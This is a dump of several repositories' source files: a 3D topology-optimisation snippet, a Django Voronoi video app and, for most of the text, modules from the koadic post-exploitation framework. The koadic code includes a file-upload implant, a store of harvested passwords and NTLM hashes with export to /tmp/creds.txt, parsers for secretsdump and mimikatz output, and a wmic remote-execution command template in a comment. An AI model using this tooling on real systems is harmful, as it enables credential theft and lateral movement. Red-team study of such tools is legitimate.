x_d = (i/(self.L[1]-1))
y_d = (j/(self.L[2]-1))
z_d = (k/(self.L[0]-1))
## First interpolation
d_00 = coords['d_000']*(1-x_d) + \
coords['d_100']*x_d
d_01 = coords['d_001']*(1-x_d) + \
coords['d_101']*x_d
d_10 = coords['d_010']*(1-x_d) + \
coords['d_110']*x_d
d_11 = coords['d_011']*(1-x_d) + \
coords['d_111']*x_d
## Second interpolation
d_0 = d_00*(1-y_d) + d_10*y_d
d_1 = d_01*(1-y_d) + d_11*y_d
## Third interpolation
d = d_0*(1-z_d)+d_1*z_d
D[k,i,j] = d
return D | {"/top3DAM.py": ["/AMFilter3D.py"], "/test.py": ["/top3DAM.py"]} |
46,053 | bohan919/topopt3D | refs/heads/master | /test.py | # import numpy as np
# import numpy.matlib
# import scipy.sparse as sps
# from scipy.sparse.linalg import spsolve
# import matplotlib.pyplot as plt
# from mpl_toolkits.mplot3d import Axes3D
# from matplotlib import colors
# np.savetxt("output.csv", a_np_array, delimiter=",")
# SAVE AND READ NUMPY ARRAYS
# np.save('xPrint.npy', xPrint) # save
# new_num_arr = np.load('data.npy') # load
# from pyvista import examples
# examples.plot_wave()
import numpy as np
import top3D
import top3DAM
import cProfile
import pstats
from pstats import SortKey
nelx = 60
nely = 30
nelz = 20
volfrac = 0.4
penal = 2
rmin = 2
heaviside = 0
# xPrint = top3D.main(nelx, nely, nelz, volfrac, penal, rmin)
xPrintAM = top3DAM.main(nelx, nely, nelz, volfrac, penal, rmin, heaviside)
# np.save('xPrint_60_30_1.npy', xPrint) # save
# Profiling
# cProfile.run('top3D.main(nelx, nely, nelz, volfrac, penal, rmin)','cprofilestats3D.txt')
# p = pstats.Stats('cprofilestats3D.txt')
# p.sort_stats('tottime').print_stats(50)
| {"/top3DAM.py": ["/AMFilter3D.py"], "/test.py": ["/top3DAM.py"]} |
46,054 | sk8wt/Voronoi-Video-Art | refs/heads/master | /application/web/models.py | from django.db import models
class Video(models.Model):
name = models.CharField(max_length=500)
videofile = models.FileField(
upload_to='videos/', null=True, verbose_name="")
fps = models.IntegerField(null=True)
error_rate = models.DecimalField(
null=True, decimal_places=2, max_digits=10)
def __str__(self):
return str(self.videofile)
| {"/application/web/views.py": ["/application/web/models.py"]} |
46,055 | sk8wt/Voronoi-Video-Art | refs/heads/master | /application/web/views.py | from .models import Video
from .forms import VideoForm
from django.shortcuts import render
from voronoi_backend.video_voronoi import video_to_voronoi
import cv2
def home(request):
cur_vid = Video.objects.last()
form = VideoForm(request.POST or None, request.FILES or None)
print(cur_vid)
vid_file_path = "../media/videos/IMG_7028.mp4"
print(form.errors)
if request.method == 'POST':
vid_file_path = cur_vid.videofile
if form.is_valid():
# if (cur_vid):
# vid_file_path = cur_vid.videofile
# else:
# data = form.cleaned_data
# file_name = data["name"]
# vid_file_path = "../media/videos/" + file_name
print("IN HOME", vid_file_path)
data = form.cleaned_data
print(data)
fps = data["fps"]
name = data["name"]
error_rate = data["error_rate"]
form.save()
capture = cv2.VideoCapture(vid_file_path.url[1:])
video_to_voronoi(name, ".."+vid_file_path.url,
"media/videos/", fps, error_rate, capture)
context = {'videofile': "media/videos/voronoi_"+name+".mp4",
'form': form,
}
else:
context = {'videofile': "",
'form': form,
}
else:
context = {'videofile': "",
'form': form,
}
return render(request, 'home.html', context)
| {"/application/web/views.py": ["/application/web/models.py"]} |
46,056 | sk8wt/Voronoi-Video-Art | refs/heads/master | /application/web/migrations/0002_auto_20191208_0453.py | # Generated by Django 2.1.5 on 2019-12-08 04:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('web', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='video',
name='error_rate',
field=models.IntegerField(null=True),
),
migrations.AddField(
model_name='video',
name='fps',
field=models.IntegerField(null=True),
),
]
| {"/application/web/views.py": ["/application/web/models.py"]} |
46,059 | khast3x/koadic | refs/heads/master | /modules/implant/util/upload_file.py | import core.job
import core.implant
import uuid
class UploadFileJob(core.job.Job):
def report(self, handler, data):
if handler.get_header('X-UploadFileJob', False):
with open(self.options.get("LFILE"), "rb") as f:
fdata = f.read()
headers = {}
headers['Content-Type'] = 'application/octet-stream'
headers['Content-Length'] = len(fdata)
handler.reply(200, fdata, headers)
return
super(UploadFileJob, self).report(handler, data)
def done(self):
pass
def display(self):
pass
class UploadFileImplant(core.implant.Implant):
NAME = "Upload File"
DESCRIPTION = "Uploads a local file the remote system."
AUTHORS = ["RiskSense, Inc."]
def load(self):
self.options.register("LFILE", "", "local file to upload")
#self.options.register("FILE", "", "file name once uploaded")
#self.options.register("EXEC", "false", "execute file?", enum=["true", "false"])
#self.options.register("OUTPUT", "false", "get output of exec?", enum=["true", "false"])
self.options.register("DIRECTORY", "%TEMP%", "writeable directory", required=False)
def run(self):
# generate new file every time this is run
#self.options.set("FILE", uuid.uuid4().hex)
if not self.options.get("FILE"):
self.options.register("FILE", "", "", hidden = True)
last = self.options.get("LFILE").split("/")[-1]
self.options.set("FILE", last)
payloads = {}
#payloads["vbs"] = self.load_script("data/implant/util/upload_file.vbs", self.options)
payloads["js"] = self.loader.load_script("data/implant/util/upload_file.js", self.options)
self.dispatch(payloads, UploadFileJob)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,060 | khast3x/koadic | refs/heads/master | /modules/implant/gather/windows_key.py | import core.implant
class ExecCmdImplant(core.implant.Implant):
pass
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,061 | khast3x/koadic | refs/heads/master | /core/commands/creds.py | DESCRIPTION = "shows collected credentials"
def autocomplete(shell, line, text, state):
pass
def help(shell):
shell.print_plain("")
shell.print_plain("Use %s to sort on a column name" % (shell.colors.colorize("creds --sort column", shell.colors.BOLD)))
shell.print_plain("Use %s for full credential details" % (shell.colors.colorize("creds -a", shell.colors.BOLD)))
shell.print_plain("Use %s for specific user credentials (add --like for partial names)" % (shell.colors.colorize("creds -u user1,user2,user3,...", shell.colors.BOLD)))
shell.print_plain("Use %s for domain admin credentials" % (shell.colors.colorize("creds -d domain", shell.colors.BOLD)))
shell.print_plain("Use %s to write credentials to a file" % (shell.colors.colorize("creds -x", shell.colors.BOLD)))
shell.print_plain("")
shell.print_plain("NOTE: A listing that ends in [+] means extra information is available.")
shell.print_plain("")
def print_creds(shell, sortcol="Normal"):
formats = "\t{0:9}{1:17}{2:<20}{3:<20}{4:<25}{5:<42}"
results = []
for key in shell.creds_keys:
if (shell.creds[key]["Username"][-1] == '$' or
(not shell.creds[key]["Password"] and
not shell.creds[key]["NTLM"]) or
shell.creds[key]["NTLM"] == '31d6cfe0d16ae931b73c59d7e0c089c0'):
continue
else:
result_cred = shell.creds[key]
result_cred["Cred ID"] = str(shell.creds_keys.index(key))
results.append(result_cred)
if sortcol != "Normal":
colname = [c for c in list(results[0].keys()) if c.lower() == sortcol.lower()]
if not colname:
shell.print_error("Column '"+sortcol+"' does not exist!")
return
results = sorted(results, key=lambda k: k[colname[0]])
shell.print_plain("")
shell.print_plain(formats.format("Cred ID", "IP", "USERNAME", "DOMAIN", "PASSWORD", "NTLM"))
shell.print_plain(formats.format("-"*7, "--", "-"*8, "-"*6, "-"*8, "-"*4))
for r in results:
tmpuser = r["Username"]
if len(tmpuser) > 18:
tmpuser = tmpuser[:15] + "..."
tmpdomain = r["Domain"]
if len(tmpdomain) > 18:
tmpdomain = tmpdomain[:15] + "..."
tmppass = r["Password"]
if len(tmppass) > 23:
tmppass = tmppass[:20] + "..."
extraflag = ""
for key in r["Extra"]:
if r["Extra"][key]:
extraflag = "[+]"
break
shell.print_plain(formats.format(r["Cred ID"], r["IP"], tmpuser, tmpdomain, tmppass, r["NTLM"]+" "+extraflag))
shell.print_plain("")
def print_creds_detailed(shell, users="*", like_flag=False):
shell.print_plain("")
for key in shell.creds_keys:
if (users == "*" or
shell.creds[key]["Username"].lower() in [u.lower() for u in users.split(",")] or
(str(shell.creds_keys.index(key)) in [u.lower() for u in users.split(",")] and
not like_flag) or
(len([u for u in users.split(",") if u.lower() in shell.creds[key]["Username"].lower()]) > 0 and
like_flag)):
shell.print_plain("Cred ID: "+str(shell.creds_keys.index(key)))
shell.print_plain("IP: "+shell.creds[key]["IP"]+" "+" ".join(shell.creds[key]["Extra"]["IP"]))
shell.print_plain("USERNAME: "+shell.creds[key]["Username"])
shell.print_plain("DOMAIN: "+shell.creds[key]["Domain"])
shell.print_plain("PASSWORD: "+shell.creds[key]["Password"]+" "+" ".join(shell.creds[key]["Extra"]["Password"]))
shell.print_plain("NTLM: "+shell.creds[key]["NTLM"]+" "+" ".join(shell.creds[key]["Extra"]["NTLM"]))
shell.print_plain("LM: "+shell.creds[key]["LM"]+" "+" ".join(shell.creds[key]["Extra"]["LM"]))
shell.print_plain("SHA1: "+shell.creds[key]["SHA1"]+" "+" ".join(shell.creds[key]["Extra"]["SHA1"]))
shell.print_plain("DCC: "+shell.creds[key]["DCC"]+" "+" ".join(shell.creds[key]["Extra"]["DCC"]))
shell.print_plain("DPAPI: "+shell.creds[key]["DPAPI"]+" "+" ".join(shell.creds[key]["Extra"]["DPAPI"]))
shell.print_plain("")
def print_creds_das(shell, domain):
domains = [j for i in shell.domain_info for j in i]
if not domain.lower() in domains:
shell.print_error("Supplied domain not known")
return
domain_key = [i for i in shell.domain_info if domain.lower() in i][0]
alt_domain = [i for i in domain_key if i != domain][0]
if not "Domain Admins" in shell.domain_info[domain_key]:
shell.print_error("Domain Admins not gathered for target domain. Please run implant/gather/enum_domain_info")
return
das = shell.domain_info[domain_key]["Domain Admins"]
formats = "\t{0:9}{1:17}{2:<20}{3:<20}{4:<25}{5:<42}"
shell.print_plain("")
shell.print_plain(formats.format("Cred ID", "IP", "USERNAME", "DOMAIN", "PASSWORD", "HASH"))
shell.print_plain(formats.format("-"*7, "--", "-"*8, "-"*6, "-"*8, "-"*4))
for key in shell.creds_keys:
tmppass = shell.creds[key]["Password"]
if len(tmppass) > 23:
tmppass = tmppass[:20] + "..."
creduser = shell.creds[key]["Username"]
creddomain = shell.creds[key]["Domain"]
credntlm = shell.creds[key]["NTLM"]
if (creduser.lower() in das and
(creddomain.lower() == domain.lower() or
creddomain.lower() == alt_domain.lower()) and
(tmppass or
credntlm)):
shell.print_plain(formats.format(str(shell.creds_keys.index(key)), shell.creds[key]["IP"], creduser, creddomain, tmppass, shell.creds[key]["NTLM"]))
shell.print_plain("")
def condense_creds(shell):
bad_keys = []
for key in shell.creds_keys:
if shell.creds[key]["Username"] == "(null)":
bad_keys.append(key)
if bad_keys:
new_creds = dict(shell.creds)
for key in bad_keys:
del new_creds[key]
shell.creds_keys.remove(key)
shell.creds = new_creds
def export_creds(shell):
export = open('/tmp/creds.txt', 'w')
for key in shell.creds_keys:
export.write("IP: "+shell.creds[key]["IP"]+" "+" ".join(shell.creds[key]["Extra"]["IP"])+"\n")
export.write("USERNAME: "+shell.creds[key]["Username"]+"\n")
export.write("DOMAIN: "+shell.creds[key]["Domain"]+"\n")
export.write("PASSWORD: "+shell.creds[key]["Password"]+" "+" ".join(shell.creds[key]["Extra"]["Password"])+"\n")
export.write("NTLM: "+shell.creds[key]["NTLM"]+" "+" ".join(shell.creds[key]["Extra"]["NTLM"])+"\n")
export.write("LM: "+shell.creds[key]["LM"]+" "+" ".join(shell.creds[key]["Extra"]["LM"])+"\n")
export.write("SHA1: "+shell.creds[key]["SHA1"]+" "+" ".join(shell.creds[key]["Extra"]["SHA1"])+"\n")
export.write("DCC: "+shell.creds[key]["DCC"]+" "+" ".join(shell.creds[key]["Extra"]["DCC"])+"\n")
export.write("DPAPI: "+shell.creds[key]["DPAPI"]+" "+" ".join(shell.creds[key]["Extra"]["DPAPI"])+"\n")
export.write("\n")
export.close()
shell.print_good("Credential store written to /tmp/creds.txt")
def execute(shell, cmd):
condense_creds(shell)
splitted = cmd.split()
if len(splitted) > 1:
if splitted[1] == "-a":
print_creds_detailed(shell)
elif splitted[1] == "-u":
if len(splitted) < 3:
shell.print_error("Need to provide a username or a Cred ID!")
elif len(splitted) == 4 and "--like" == splitted[-1]:
print_creds_detailed(shell, splitted[2], True)
else:
print_creds_detailed(shell, splitted[2])
elif splitted[1] == "-x":
export_creds(shell)
elif splitted[1] == "-d":
if shell.domain_info:
if len(splitted) < 3:
shell.print_good("Gathered domains")
for d in shell.domain_info:
shell.print_plain("\tLong: "+d[0]+", Short: "+d[1])
else:
print_creds_das(shell, splitted[2])
else:
shell.print_error("No domain information gathered. Please run implant/gather/enum_domain_info.")
elif splitted[1] == "--sort":
if len(splitted) < 3:
shell.print_error("Need to provide a column name to sort on!")
else:
print_creds(shell, splitted[2])
else:
shell.print_error("Unknown option '"+splitted[1]+"'")
else:
if shell.creds:
print_creds(shell)
else:
shell.print_error("No credentials have been gathered yet")
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,062 | khast3x/koadic | refs/heads/master | /core/payload.py | import string
import threading
import uuid
class Payload(object):
PAYLOAD_ID = 0
PAYLOAD_ID_LOCK = threading.Lock()
def __init__(self, name = "", data = ""):
self.data = data
self.name = name
with Payload.PAYLOAD_ID_LOCK:
self.id = Payload.PAYLOAD_ID
Payload.PAYLOAD_ID += 1
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,063 | khast3x/koadic | refs/heads/master | /modules/stager/powershell.py | import os
import sys
import core.stager
import random
"""
class PowerShellStager(core.stager.Stager):
NAME = "PowerShell Stager"
DESCRIPTION = "Listens for new sessions, using PowerShell for payloads"
AUTHORS = ['RiskSense, Inc.']
def run(self):
payloads = {}
payloads["In Memory"] = self.load_file("data/stager/powershell/memory.cmd")
self.start_server(payloads)
def stage(self, server, handler, session):
script = self.load_script("data/stager/powershell/payload.ps1")
handler.send_ok(script)
"""
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,064 | khast3x/koadic | refs/heads/master | /core/options.py |
class Option(object):
def __init__(self, name, value, description, **kwargs):
self.name = name
self.description = description
self.validate = None
self.required = True
self.advanced = False
self.hidden = False
self.alias = ""
self.enum = []
self.value = value
self.default = value
self.__dict__.update(kwargs)
def set(self, value):
if self.validate is not None:
if not self.validate(value):
return False
elif len(self.enum) > 0:
if value not in self.enum:
return False
self.value = value
return True
class Options(object):
def __init__(self):
self.options = []
def register(self, name, value, description, **kwargs):
name = name.upper()
option = Option(name, value, description, **kwargs)
self.options.append(option)
def get(self, name):
name = name.upper()
for option in self.options:
if option.name == name or option.alias == name and name:
return option.value
return None
def set(self, name, value):
name = name.upper()
for option in self.options:
if option.name == name or option.alias == name and name:
return option.set(value)
return False
def copy(self):
import copy
return copy.deepcopy(self)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,065 | khast3x/koadic | refs/heads/master | /modules/stager/vbscript.py | import os
import sys
import core.stager
from core.payload import Payload
import random
"""
class VBScriptStager(core.stager.Stager):
NAME = "VBScript Stager"
DESCRIPTION = "Listens for new sessions, using VBScript for payloads"
AUTHORS = ['RiskSense, Inc.']
# the type of job payloads
WORKLOAD = "vbs"
def run(self):
payloads = []
payloads.append(Payload("In Memory (Windows 2000 SP3+)", self.load_file("data/stager/vbscript/mshta.cmd")))
payloads.append(Payload("On Disk (All Windows)", self.load_file("data/stager/vbscript/disk.cmd")))
self.start_server(payloads)
def stage(self, server, handler, session, options):
script = self.load_script("data/stager/vbscript/work.vbs", options, True, False)
handler.reply(200, script)
def job(self, server, handler, session, job, options):
script = self.load_script("data/stager/vbscript/job.vbs", options)
handler.reply(200, script)
"""
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,066 | khast3x/koadic | refs/heads/master | /modules/implant/fun/voice.py | import core.job
import core.implant
import uuid
class VoiceJob(core.job.Job):
def done(self):
self.display()
def display(self):
self.shell.print_plain(self.data)
class VoiceImplant(core.implant.Implant):
NAME = "Voice"
DESCRIPTION = "Makes the computer speak a message."
AUTHORS = ["RiskSense, Inc."]
def load(self):
self.options.register("MESSAGE", "I can't do that Dave", "message to speak")
def run(self):
payloads = {}
#payloads["vbs"] = self.load_script("data/implant/fun/voice.vbs", self.options)
payloads["js"] = self.loader.load_script("data/implant/fun/voice.js", self.options)
self.dispatch(payloads, VoiceJob)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,067 | khast3x/koadic | refs/heads/master | /data/bin/decode_syskey.py | #!/usr/bin/python3
import sys
syskey_data_file = sys.argv[1]
tmp_syskey = ""
syskey = ""
with open(syskey_data_file, 'rb') as syskeyfile:
file_contents = syskeyfile.read()
i = 4220
while i < 28811:
j = i + 15
while i < j:
tmp_syskey += file_contents[i:i+1].decode()
i += 2
i += 8176
tmp_syskey = list(map(''.join, zip(*[iter(tmp_syskey)]*2)))
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
for i in transforms:
syskey += tmp_syskey[i]
print("decoded SysKey: 0x%s" % syskey)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,068 | khast3x/koadic | refs/heads/master | /modules/implant/pivot/exec_wmic.py | # wmic /node:~IP~ /user:~SMBDOMAIN~\~SMBUSER~ /password:~SMBPASS~ process call create "cmd /c ~CMD~"
import core.implant
class ExecCmdImplant(core.implant.Implant):
pass
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,069 | khast3x/koadic | refs/heads/master | /core/commands/exit.py | DESCRIPTION = "exits the program"
def autocomplete(shell, line, text, state):
return None
def help(shell):
pass
def execute(shell, cmd):
import sys
sys.exit(0)
| {"/modules/implant/util/upload_file.py": ["/core/implant.py"], "/modules/implant/gather/windows_key.py": ["/core/implant.py"], "/modules/stager/vbscript.py": ["/core/payload.py"], "/modules/implant/fun/voice.py": ["/core/implant.py"], "/modules/implant/pivot/exec_wmic.py": ["/core/implant.py"], "/modules/implant/inject/reflectdll_excel.py": ["/core/implant.py"], "/core/server.py": ["/core/loader.py", "/core/payload.py"], "/modules/implant/manage/enable_rdesktop.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_sam.py": ["/core/implant.py"], "/modules/implant/gather/clipboard.py": ["/core/implant.py"], "/modules/implant/util/download_file.py": ["/core/implant.py"], "/modules/implant/gather/hashdump_dc.py": ["/core/implant.py"], "/modules/implant/manage/exec_cmd.py": ["/core/implant.py"], "/modules/implant/pivot/exec_psexec.py": ["/core/implant.py"]} |
46,070 | khast3x/koadic | refs/heads/master | /core/cred_parser.py | import collections
import tabulate
import traceback
class CredParse(object):
def __init__(self, job):
self.job = job
self.shell = job.shell
self.session = job.session
def new_cred(self):
cred = {}
cred["IP"] = ""
cred["Domain"] = ""
cred["Username"] = ""
cred["Password"] = ""
cred["NTLM"] = ""
cred["SHA1"] = ""
cred["DCC"] = ""
cred["DPAPI"] = ""
cred["LM"] = ""
cred["Extra"] = {}
cred["Extra"]["IP"] = []
cred["Extra"]["Password"] = []
cred["Extra"]["NTLM"] = []
cred["Extra"]["SHA1"] = []
cred["Extra"]["DCC"] = []
cred["Extra"]["DPAPI"] = []
cred["Extra"]["LM"] = []
return cred
def parse_hashdump_sam(self, data):
# these are the strings to match on for secretsdump output
s_sec_start = "[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)\n"
s_sec_end = "[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)"
c_sec_start = "[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)\n"
c_sec_end = "[*] Dumping LSA Secrets"
output = data
sam_sec = ""
if s_sec_start in output:
sam_sec1 = output.split(s_sec_start)[1]
sam_sec2 = sam_sec1.split(s_sec_end)[0]
sam_sec = sam_sec2.splitlines()
cached_sec = ""
if c_sec_start in output:
cached_sec1 = output.split(c_sec_start)[1]
cached_sec2 = cached_sec1.split(c_sec_end)[0]
cached_sec = cached_sec2.splitlines()
for htype in ["sam", "cached"]:
hsec = locals().get(htype+"_sec")
if not hsec or hsec[0].split()[0] == "[-]":
continue
for h in hsec:
c = self.new_cred()
c["IP"] = self.session.ip
hparts = h.split(":")
if len(hparts) < 4 or hparts[0][0] == '[':
continue
c["Username"] = hparts[0]
if htype == "sam":
c["NTLM"] = hparts[3]
c["Domain"] = self.session.computer
else:
c["DCC"] = hparts[1]
c["Domain"] = hparts[3]
key = tuple([c["Domain"].lower(), c["Username"].lower()])
domains = [j for i in self.shell.domain_info for j in i]
if c["Domain"].lower() in domains:
domain_key = [i for i in self.shell.domain_info if c["Domain"].lower() in i][0]
other_domain = [i for i in domain_key if i != c["Domain"].lower()][0]
else:
other_domain = ""
other_key = tuple([other_domain, c["Username"].lower()])
my_key = ""
for creds_key in self.shell.creds_keys:
if creds_key == key or creds_key == other_key:
my_key = creds_key
break
if my_key:
if c["IP"] != self.shell.creds[my_key]["IP"] and c["IP"] not in self.shell.creds[my_key]["Extra"]["IP"]:
self.shell.creds[my_key]["Extra"]["IP"].append(c["IP"])
if not self.shell.creds[my_key]["NTLM"] and c["NTLM"]:
self.shell.creds[my_key]["NTLM"] = c["NTLM"]
elif self.shell.creds[my_key]["NTLM"] != c["NTLM"] and c["NTLM"]:
if c["NTLM"] not in self.shell.creds[my_key]["Extra"]["NTLM"]:
self.shell.creds[my_key]["Extra"]["NTLM"].append(c["NTLM"])
if not self.shell.creds[my_key]["DCC"] and c["DCC"]:
self.shell.creds[my_key]["DCC"] = c["DCC"]
elif self.shell.creds[my_key]["DCC"] != c["DCC"] and c["DCC"]:
if c["DCC"] not in self.shell.creds[my_key]["Extra"]["DCC"]:
self.shell.creds[my_key]["Extra"]["DCC"].append(c["DCC"])
else:
self.shell.creds_keys.append(key)
self.shell.creds[key] = c
return
def parse_mimikatz(self, data):
data = data.split("mimikatz(powershell) # ")[1]
if "token::elevate" in data and "Impersonated !" in data:
self.job.print_good("token::elevate -> got SYSTEM!")
return
if "privilege::debug" in data and "OK" in data:
self.job.print_good("privilege::debug -> got SeDebugPrivilege!")
return
if "ERROR kuhl_m_" in data:
self.job.error("0", data.split("; ")[1].split(" (")[0], "Error", data)
self.job.errstat = 1
return
